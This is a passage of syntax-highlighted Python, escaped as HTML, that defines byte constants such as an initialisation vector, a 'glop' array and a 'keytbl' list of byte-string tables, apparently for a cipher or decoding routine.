             &lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xD7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="mh"&gt;0xAE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3A&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;glop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xcb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xf4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x43&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xfd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="mh"&gt;0x9c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xeb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xdd&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;keytbl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x8a&lt;/span&gt;&lt;span class="s1"&gt;g&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;\x96\xea&lt;/span&gt;&lt;span class="s1"&gt;_&lt;/span&gt;&lt;span class="se"&gt;\xd1\xda\xb8\x1c\x87&lt;/span&gt;&lt;span class="s1"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\x1d\x0f&lt;/span&gt;&lt;span class="s1"&gt;Z&lt;/span&gt;&lt;span class="se"&gt;\xa3&lt;/span&gt;&lt;span class="s1"&gt;j&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x8f\xb4\xa5&lt;/span&gt;&lt;span class="s1"&gt;Vw&lt;/span&gt;&lt;span class="se"&gt;\x83\xc4\\&lt;/span&gt;&lt;span class="s1"&gt;f&lt;/span&gt;&lt;span class="se"&gt;\xa4&lt;/span&gt;&lt;span class="s1"&gt;W&lt;/span&gt;&lt;span class="se"&gt;\x15&lt;/span&gt;&lt;span class="s1"&gt;7&lt;/span&gt;&lt;span class="se"&gt;\xf0\x81\x00&lt;/span&gt;&lt;span class="s1"&gt;Ki&lt;/span&gt;&lt;span class="se"&gt;\xd9&lt;/span&gt;&lt;span class="s1"&gt;=&lt;/span&gt;&lt;span class="se"&gt;\xb9\xc9\xc3\xde\xdc\x02\xbd\xf1&lt;/span&gt;&lt;span class="s1"&gt;@d&lt;/span&gt;&lt;span class="se"&gt;\x94\xd8&lt;/span&gt;&lt;span class="s1"&gt;0(&lt;/span&gt;&lt;span class="se"&gt;\t\xb0\xac\xe1\xe5&lt;/span&gt;&lt;span class="s1"&gt;. &lt;/span&gt;&lt;span class="se"&gt;\r\x9c\xf6&lt;/span&gt;&lt;span class="s1"&gt;{&lt;/span&gt;&lt;span class="se"&gt;\xb2&lt;/span&gt;&lt;span class="s1"&gt;3&lt;/span&gt;&lt;span class="se"&gt;\xab\xfc&lt;/span&gt;&lt;span class="s1"&gt;F&lt;/span&gt;&lt;span class="se"&gt;\xc5\x07\xf9\x95\n\x8b&lt;/span&gt;&lt;span class="s1"&gt;lH5&lt;/span&gt;&lt;span class="se"&gt;\x0c&lt;/span&gt;&lt;span class="s1"&gt;X&lt;/span&gt;&lt;span class="se"&gt;\x16\xca&lt;/span&gt;&lt;span class="s1"&gt;P&lt;/span&gt;&lt;span class="se"&gt;\xf8\xaa&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\x1b\xa1\x98\x01&lt;/span&gt;&lt;span class="s1"&gt;ybv&lt;/span&gt;&lt;span class="se"&gt;\xe8\x14&lt;/span&gt;&lt;span class="s1"&gt;[k&lt;/span&gt;&lt;span class="se"&gt;\x9f\xd7\xf5&lt;/span&gt;&lt;span class="s1"&gt;2D&lt;/span&gt;&lt;span class="se"&gt;\x08&lt;/span&gt;&lt;span class="s1"&gt;Q&lt;/span&gt;&lt;span class="se"&gt;\x9a\xd0&lt;/span&gt;&lt;span class="s1"&gt;+)&lt;/span&gt;&lt;span class="se"&gt;\xfe\xe9&lt;/span&gt;&lt;span class="s1"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\x89\xa6\xdd\xe7\x97&lt;/span&gt;&lt;span class="s1"&gt;J&lt;/span&gt;&lt;span class="se"&gt;\x9e\x18\xa2\x1f&lt;/span&gt;&lt;span class="s1"&gt;h&lt;/span&gt;&lt;span class="se"&gt;\x19\xa7\x82&lt;/span&gt;&lt;span class="s1"&gt;N&lt;/span&gt;&lt;span class="se"&gt;\x13\x03\xed&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="se"&gt;\x91&lt;/span&gt;&lt;span class="s1"&gt;e81&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\xd5\xf2\x1a\x8d\x10\xe4\x84\xad\x04&lt;/span&gt;&lt;span class="s1"&gt;L&lt;/span&gt;&lt;span class="se"&gt;\xeb\xfa\xdf&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="se"&gt;\x0b\x17&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\xae\xe3&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="s1"&gt;Gx&lt;/span&gt;&lt;span class="se"&gt;\xec\xc2&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="se"&gt;\xb1&lt;/span&gt;&lt;span class="s1"&gt;AR&lt;/span&gt;&lt;span class="se"&gt;\x9d\x12\xf3\x11\x86&lt;/span&gt;&lt;span class="s1"&gt;~&lt;/span&gt;&lt;span class="se"&gt;\xd6&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="se"&gt;\xef\xc6\xc1&lt;/span&gt;&lt;span class="s1"&gt;Y&lt;/span&gt;&lt;span class="se"&gt;\x8c\x7f\xbf&lt;/span&gt;&lt;span class="s1"&gt;t9&lt;/span&gt;&lt;span class="se"&gt;\x06\xfd&lt;/span&gt;&lt;span class="s1"&gt;c#&lt;/span&gt;&lt;span class="se"&gt;\xc8&lt;/span&gt;&lt;span class="s1"&gt;6o&lt;/span&gt;&lt;span class="se"&gt;\x80\xaf\x92&lt;/span&gt;&lt;span class="s1"&gt;U&lt;/span&gt;&lt;span class="se"&gt;\xe6\xbc&lt;/span&gt;&lt;span class="s1"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\xd2&lt;/span&gt;&lt;span class="s1"&gt;rz&lt;/span&gt;&lt;span class="se"&gt;\xce&lt;/span&gt;&lt;span class="s1"&gt;M&lt;/span&gt;&lt;span class="se"&gt;\x05\xe0\xcf&lt;/span&gt;&lt;span class="s1"&gt;$&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\xa9\xb7\xcc&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="se"&gt;\xd3&lt;/span&gt;&lt;span class="s1"&gt;;&lt;/span&gt;&lt;span class="se"&gt;\xd4&lt;/span&gt;&lt;span class="s1"&gt;|*S&lt;/span&gt;&lt;span class="se"&gt;\x8e&lt;/span&gt;&lt;span class="s1"&gt;p?&lt;/span&gt;&lt;span class="se"&gt;\x93&lt;/span&gt;&lt;span class="s1"&gt;nu&lt;/span&gt;&lt;span class="se"&gt;\xb3&lt;/span&gt;&lt;span class="s1"&gt;O&lt;/span&gt;&lt;span class="se"&gt;\xb6\xf7\x85\xc0\x99\x0e&lt;/span&gt;&lt;span class="s1"&gt;T&lt;/span&gt;&lt;span class="se"&gt;\xfb&lt;/span&gt;&lt;span class="s1"&gt;I&lt;/span&gt;&lt;span class="se"&gt;\xb5\xf4&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\xbb\xee\xbe&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\xba\xe2\x9b\xff\xa8\xa0\xcd&lt;/span&gt;&lt;span class="s1"&gt;,C&lt;/span&gt;&lt;span class="se"&gt;\x1e&lt;/span&gt;&lt;span class="s1"&gt;!&lt;/span&gt;&lt;span class="se"&gt;\xdb\x88&lt;/span&gt;&lt;span class="s1"&gt;E&lt;/span&gt;&lt;span class="se"&gt;\xcb\xc7&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;(&lt;/span&gt;&lt;span class="se"&gt;\xf5&lt;/span&gt;&lt;span class="s1"&gt;t&lt;/span&gt;&lt;span class="se"&gt;\x1a&lt;/span&gt;&lt;span class="s1"&gt;r&lt;/span&gt;&lt;span class="se"&gt;\xc7\xad\xb8\x96\xcb\x92\x9d\x89\x84&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\x1d\xeb\x03&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\xce\x91\xd3&lt;/span&gt;&lt;span class="s1"&gt;E&lt;/span&gt;&lt;span class="se"&gt;\x19\xf7&lt;/span&gt;&lt;span class="s1"&gt;_&lt;/span&gt;&lt;span class="se"&gt;\x1b\x8e\xba\x05\xec\xa5&lt;/span&gt;&lt;span class="s1"&gt;Q&lt;/span&gt;&lt;span class="se"&gt;\xaa\x9e\xcd\xee&lt;/span&gt;&lt;span class="s1"&gt;#)MU&lt;/span&gt;&lt;span class="se"&gt;\xac&lt;/span&gt;&lt;span class="s1"&gt;L&lt;/span&gt;&lt;span class="se"&gt;\xd5&lt;/span&gt;&lt;span class="s1"&gt;]W$&lt;/span&gt;&lt;span class="se"&gt;\xdf\xa8\x86&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\x1f\xd0&lt;/span&gt;&lt;span class="s1"&gt;u&lt;/span&gt;&lt;span class="se"&gt;\xda\xe1\xd4&lt;/span&gt;&lt;span class="s1"&gt;P&lt;/span&gt;&lt;span class="se"&gt;\xc2\xa2\r\xf1\x07\xa3\x00\x04&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;lm/&lt;/span&gt;&lt;span class="se"&gt;\x88&lt;/span&gt;&lt;span class="s1"&gt;n8&lt;/span&gt;&lt;span class="se"&gt;\xea\xe6&lt;/span&gt;&lt;span class="s1"&gt;iy&lt;/span&gt;&lt;span class="se"&gt;\xed&lt;/span&gt;&lt;span class="s1"&gt;%&lt;/span&gt;&lt;span class="se"&gt;\xc3\xa7&lt;/span&gt;&lt;span class="s1"&gt;O&lt;/span&gt;&lt;span class="se"&gt;\x17\xe5\x06\x01\xbd\x8f\x11\x12\xfe&lt;/span&gt;&lt;span class="s1"&gt;}AI&lt;/span&gt;&lt;span class="se"&gt;\xc0&lt;/span&gt;&lt;span class="s1"&gt;YV&lt;/span&gt;&lt;span class="se"&gt;\x9f&lt;/span&gt;&lt;span class="s1"&gt;14&lt;/span&gt;&lt;span class="se"&gt;\xc6&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="se"&gt;\xab&lt;/span&gt;&lt;span class="s1"&gt;qd&lt;/span&gt;&lt;span class="se"&gt;\x10&lt;/span&gt;&lt;span class="s1"&gt;~T&lt;/span&gt;&lt;span class="se"&gt;\x0e\xb3\xb5&lt;/span&gt;&lt;span class="s1"&gt;p&lt;/span&gt;&lt;span class="se"&gt;\xde&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\x99\xa9\x94&lt;/span&gt;&lt;span class="s1"&gt;F&lt;/span&gt;&lt;span class="se"&gt;\x93\x9b\xd8\xb2\x0f&lt;/span&gt;&lt;span class="s1"&gt;3@&lt;/span&gt;&lt;span class="se"&gt;\xa0\n\xd7\x85\xef&lt;/span&gt;&lt;span class="s1"&gt;9&lt;/span&gt;&lt;span class="se"&gt;\xd9\xca&lt;/span&gt;&lt;span class="s1"&gt;Na&lt;/span&gt;&lt;span class="se"&gt;\x83&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;kv&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;Cw*6&lt;/span&gt;&lt;span class="se"&gt;\xe7\x15\xf2\x80\x1e&lt;/span&gt;&lt;span class="s1"&gt;+X&lt;/span&gt;&lt;span class="se"&gt;\xfa\x0c\x16&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="se"&gt;\x87&lt;/span&gt;&lt;span class="s1"&gt;e&lt;/span&gt;&lt;span class="se"&gt;\x9a&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="se"&gt;\xe4\x82\xf4&lt;/span&gt;&lt;span class="s1"&gt;Z&lt;/span&gt;&lt;span class="se"&gt;\xcc&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="se"&gt;\xb7&lt;/span&gt;&lt;span class="s1"&gt;!zH&lt;/span&gt;&lt;span class="se"&gt;\xcf&lt;/span&gt;&lt;span class="s1"&gt;S&lt;/span&gt;&lt;span class="se"&gt;\xb0\xdb\\&lt;/span&gt;&lt;span class="s1"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\xf9\x13&lt;/span&gt;&lt;span class="s1"&gt;x&lt;/span&gt;&lt;span class="se"&gt;\x18\xe3\x0b&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="se"&gt;\xbf&lt;/span&gt;&lt;span class="s1"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\x14&lt;/span&gt;&lt;span class="s1"&gt;7&lt;/span&gt;&lt;span class="se"&gt;\x8d\xaf\xbb\xc9&lt;/span&gt;&lt;span class="s1"&gt;h&lt;/span&gt;&lt;span class="se"&gt;\xb4\t&lt;/span&gt;&lt;span class="s1"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\xd6&lt;/span&gt;&lt;span class="s1"&gt;|&lt;/span&gt;&lt;span class="se"&gt;\xb6\x7f&lt;/span&gt;&lt;span class="s1"&gt;J&lt;/span&gt;&lt;span class="se"&gt;\xf3\xd2\xf6&lt;/span&gt;&lt;span class="s1"&gt;G;&lt;/span&gt;&lt;span class="se"&gt;\xae\x02\xdc\x95\xbe&lt;/span&gt;&lt;span class="s1"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\xff\x8c\x9c\xa6\xe2&lt;/span&gt;&lt;span class="s1"&gt;c&lt;/span&gt;&lt;span class="se"&gt;\xfb\xfd\xe9&lt;/span&gt;&lt;span class="s1"&gt;R.&lt;/span&gt;&lt;span class="se"&gt;\xb9&lt;/span&gt;&lt;span class="s1"&gt;D&lt;/span&gt;&lt;span class="se"&gt;\x90\x8b\x98&lt;/span&gt;&lt;span class="s1"&gt;sf&lt;/span&gt;&lt;span class="se"&gt;\xb1&lt;/span&gt;&lt;span class="s1"&gt;g[&lt;/span&gt;&lt;span class="se"&gt;\xa1\xf8\xc1\xc5&lt;/span&gt;&lt;span class="s1"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x8a\xdd&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="se"&gt;\xd1&lt;/span&gt;&lt;span class="s1"&gt;o&lt;/span&gt;&lt;span class="se"&gt;\xa4\xf0\xc8\xfc\x1c&lt;/span&gt;&lt;span class="s1"&gt;j&lt;/span&gt;&lt;span class="se"&gt;\xc4\x97&lt;/span&gt;&lt;span class="s1"&gt;{&lt;/span&gt;&lt;span class="se"&gt;\x81\xbc&lt;/span&gt;&lt;span class="s1"&gt;=&lt;/span&gt;&lt;span class="se"&gt;\xe0\xe8\x08&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x1e&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="se"&gt;\xce\xe7\x84&lt;/span&gt;&lt;span class="s1"&gt;T&lt;/span&gt;&lt;span class="se"&gt;\xf2&lt;/span&gt;&lt;span class="s1"&gt;j&lt;/span&gt;&lt;span class="se"&gt;\xa0\xa4\x02\x96&lt;/span&gt;&lt;span class="s1"&gt;%&lt;/span&gt;&lt;span class="se"&gt;\x0e\x19&lt;/span&gt;&lt;span class="s1"&gt;[,;@&lt;/span&gt;&lt;span class="se"&gt;\x10&lt;/span&gt;&lt;span class="s1"&gt;~&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="s1"&gt;8kx&lt;/span&gt;&lt;span class="se"&gt;\xd8\xc2&lt;/span&gt;&lt;span class="s1"&gt;=&amp;gt;C&lt;/span&gt;&lt;span class="se"&gt;\xf3&lt;/span&gt;&lt;span class="s1"&gt;n&lt;/span&gt;&lt;span class="se"&gt;\xa3\xc6\xee&lt;/span&gt;&lt;span class="s1"&gt;E&lt;/span&gt;&lt;span class="se"&gt;\xab\xd4\x06\x7f\x95&lt;/span&gt;&lt;span class="s1"&gt;p&lt;/span&gt;&lt;span class="se"&gt;\xbc&lt;/span&gt;&lt;span class="s1"&gt;$&lt;/span&gt;&lt;span class="se"&gt;\x86&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="se"&gt;\x1b\xa9\x17\x88\xe0\xc8\x07\xe1\xb8\x05&lt;/span&gt;&lt;span class="s1"&gt;:(&lt;/span&gt;&lt;span class="se"&gt;\xd0\xb4\xea\xcd\xcb&lt;/span&gt;&lt;span class="s1"&gt;mQ&lt;/span&gt;&lt;span class="se"&gt;\x16\x18\&amp;#39;\xf7&lt;/span&gt;&lt;span class="s1"&gt;H&lt;/span&gt;&lt;span class="se"&gt;\x9e\xfb\x00&lt;/span&gt;&lt;span class="s1"&gt;0u&lt;/span&gt;&lt;span class="se"&gt;\xb3\xff\x8a\xdd\x1c&lt;/span&gt;&lt;span class="s1"&gt;Z&lt;/span&gt;&lt;span class="se"&gt;\x9c&lt;/span&gt;&lt;span class="s1"&gt;!&lt;/span&gt;&lt;span class="se"&gt;\xd3&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\x04\xd7&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\x8f\xec\x9b\xe8\xcf&lt;/span&gt;&lt;span class="s1"&gt;6&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;o&lt;/span&gt;&lt;span class="se"&gt;\x08\xb1\xe6\xa2\xd5\xd2\xe2\x89\x8e\x93\x8c&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="se"&gt;\xf5\xa5\x15\xf8&lt;/span&gt;&lt;span class="s1"&gt;2b&lt;/span&gt;&lt;span class="se"&gt;\xba&lt;/span&gt;&lt;span class="s1"&gt;_D&lt;/span&gt;&lt;span class="se"&gt;\x12\xae&lt;/span&gt;&lt;span class="s1"&gt;z&lt;/span&gt;&lt;span class="se"&gt;\x99\xb2&lt;/span&gt;&lt;span class="s1"&gt;wP&lt;/span&gt;&lt;span class="se"&gt;\xca&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="se"&gt;\xaa\x14\x9f&lt;/span&gt;&lt;span class="s1"&gt;S&lt;/span&gt;&lt;span class="se"&gt;\xd9\xdb\x97&lt;/span&gt;&lt;span class="s1"&gt;JW&lt;/span&gt;&lt;span class="se"&gt;\xc0\x13\xbb\xb6&lt;/span&gt;&lt;span class="s1"&gt;c&lt;/span&gt;&lt;span class="se"&gt;\xed&lt;/span&gt;&lt;span class="s1"&gt;|R&lt;/span&gt;&lt;span class="se"&gt;\xfc&lt;/span&gt;&lt;span class="s1"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\xfe&lt;/span&gt;&lt;span class="s1"&gt;i&lt;/span&gt;&lt;span class="se"&gt;\xad\xf9\x82\x8b&lt;/span&gt;&lt;span class="s1"&gt;M&lt;/span&gt;&lt;span class="se"&gt;\x0b&lt;/span&gt;&lt;span class="s1"&gt;v5 y&lt;/span&gt;&lt;span class="se"&gt;\x98&lt;/span&gt;&lt;span class="s1"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\xe3&lt;/span&gt;&lt;span class="s1"&gt;s47&lt;/span&gt;&lt;span class="se"&gt;\xde&lt;/span&gt;&lt;span class="s1"&gt;YU&lt;/span&gt;&lt;span class="se"&gt;\x9a\xef&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;&amp;amp;{)&lt;/span&gt;&lt;span class="se"&gt;\xc5\x1a\xb9\x85&lt;/span&gt;&lt;span class="s1"&gt;-}#&lt;/span&gt;&lt;span class="se"&gt;\x92\xa7&lt;/span&gt;&lt;span class="s1"&gt;g&lt;/span&gt;&lt;span class="se"&gt;\xaf\x8d\t\x94\x80\xf0\x1f\xf6&lt;/span&gt;&lt;span class="s1"&gt;9&lt;/span&gt;&lt;span class="se"&gt;\xc4\n\xda\xc3\x9d&lt;/span&gt;&lt;span class="s1"&gt;XFN&lt;/span&gt;&lt;span class="se"&gt;\xbd\x03\xdf\xfa&lt;/span&gt;&lt;span class="s1"&gt;OKI&lt;/span&gt;&lt;span class="se"&gt;\x01\x11\xdc&lt;/span&gt;&lt;span class="s1"&gt;lqV&lt;/span&gt;&lt;span class="se"&gt;\xb5\xf4\xe4&lt;/span&gt;&lt;span class="s1"&gt;d&lt;/span&gt;&lt;span class="se"&gt;\x1d\xd6\xe9\x91\xd1&lt;/span&gt;&lt;span class="s1"&gt;L&lt;/span&gt;&lt;span class="se"&gt;\x81&lt;/span&gt;&lt;span class="s1"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\xc9\xa1\x83&lt;/span&gt;&lt;span class="s1"&gt;/e?3&lt;/span&gt;&lt;span class="se"&gt;\xc7\xac\xc1\xb0\xa8&lt;/span&gt;&lt;span class="s1"&gt;1r&lt;/span&gt;&lt;span class="se"&gt;\xbf\xeb\xb7\xcc&lt;/span&gt;&lt;span class="s1"&gt;f&lt;/span&gt;&lt;span class="se"&gt;\r\x87\xa6&lt;/span&gt;&lt;span class="s1"&gt;`G&lt;/span&gt;&lt;span class="se"&gt;\x0c\xbe\x0f\xfd\xf1&lt;/span&gt;&lt;span class="s1"&gt;ht&lt;/span&gt;&lt;span class="se"&gt;\xe5&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\xbe&lt;/span&gt;&lt;span class="s1"&gt;%`&lt;/span&gt;&lt;span class="se"&gt;\x16&lt;/span&gt;&lt;span class="s1"&gt;qQ6&lt;/span&gt;&lt;span class="se"&gt;\xe8\xb3\x17&lt;/span&gt;&lt;span class="s1"&gt;D&lt;/span&gt;&lt;span class="se"&gt;\x93\x8f\x97\xdb\x96&lt;/span&gt;&lt;span class="s1"&gt;$&lt;/span&gt;&lt;span class="se"&gt;\xdd&lt;/span&gt;&lt;span class="s1"&gt;+}&lt;/span&gt;&lt;span class="se"&gt;\x80\xc9&lt;/span&gt;&lt;span class="s1"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x15\x1e\xa7\xfa\xc7&lt;/span&gt;&lt;span class="s1"&gt;|S&lt;/span&gt;&lt;span class="se"&gt;\xe9\xf1&lt;/span&gt;&lt;span class="s1"&gt;:P!VZ&lt;/span&gt;&lt;span class="se"&gt;\x8d\x1b&lt;/span&gt;&lt;span class="s1"&gt;=Y&lt;/span&gt;&lt;span class="se"&gt;\xb9\xed\xe6&lt;/span&gt;&lt;span class="s1"&gt;ca&lt;/span&gt;&lt;span class="se"&gt;\xdf\x11\x87\xc5&lt;/span&gt;&lt;span class="s1"&gt;[&lt;/span&gt;&lt;span class="se"&gt;\xd2\xab&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="se"&gt;\xae&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x9e&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="se"&gt;\x05\xc8&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="se"&gt;\x89\r\xd1\x9a\xa1\\\xff\xf3\xe4&lt;/span&gt;&lt;span class="s1"&gt;C&lt;/span&gt;&lt;span class="se"&gt;\x13&lt;/span&gt;&lt;span class="s1"&gt;x&lt;/span&gt;&lt;span class="se"&gt;\x9c&lt;/span&gt;&lt;span class="s1"&gt;W&lt;/span&gt;&lt;span class="se"&gt;\xa5\xe3&lt;/span&gt;&lt;span class="s1"&gt;t&lt;/span&gt;&lt;span class="se"&gt;\x0c\xd8\xc1&lt;/span&gt;&lt;span class="s1"&gt;z&lt;/span&gt;&lt;span class="se"&gt;\x0e&lt;/span&gt;&lt;span class="s1"&gt;O&lt;/span&gt;&lt;span class="se"&gt;\x8e&lt;/span&gt;&lt;span class="s1"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\xbd&lt;/span&gt;&lt;span class="s1"&gt;/v&lt;/span&gt;&lt;span class="se"&gt;\xe0\x00\xdc\x81\xb1\x8b\x06\xa8&lt;/span&gt;&lt;span class="s1"&gt;e&lt;/span&gt;&lt;span class="se"&gt;\xbf&lt;/span&gt;&lt;span class="s1"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\xa4\xe2\t&lt;/span&gt;&lt;span 